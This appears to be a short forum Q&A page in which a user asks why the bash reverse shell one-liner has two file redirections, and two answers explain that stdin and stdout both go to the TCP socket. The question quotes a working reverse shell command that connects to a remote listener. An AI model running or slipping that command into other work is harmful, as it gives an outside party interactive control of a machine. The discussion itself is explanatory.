Why are there two file redirections in the bash reverse shell?

451 views Asked by At

I've been trying to gain a greater understanding of how reverse shells work and I've been deciphering the bash one:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

I understand that the first redirection (>&) redirects stdout and stderr, but why is there a need for the second one?

2

There are 2 answers

0
CY-OD On

This redirects stdin (FD: 0) to come from the socket as well currently on stdout (FD: 1)

1
l0b0 On

It connects standard input and standard output to the same device. This allows two-way communication to the host where the shell is running.

See this article for details.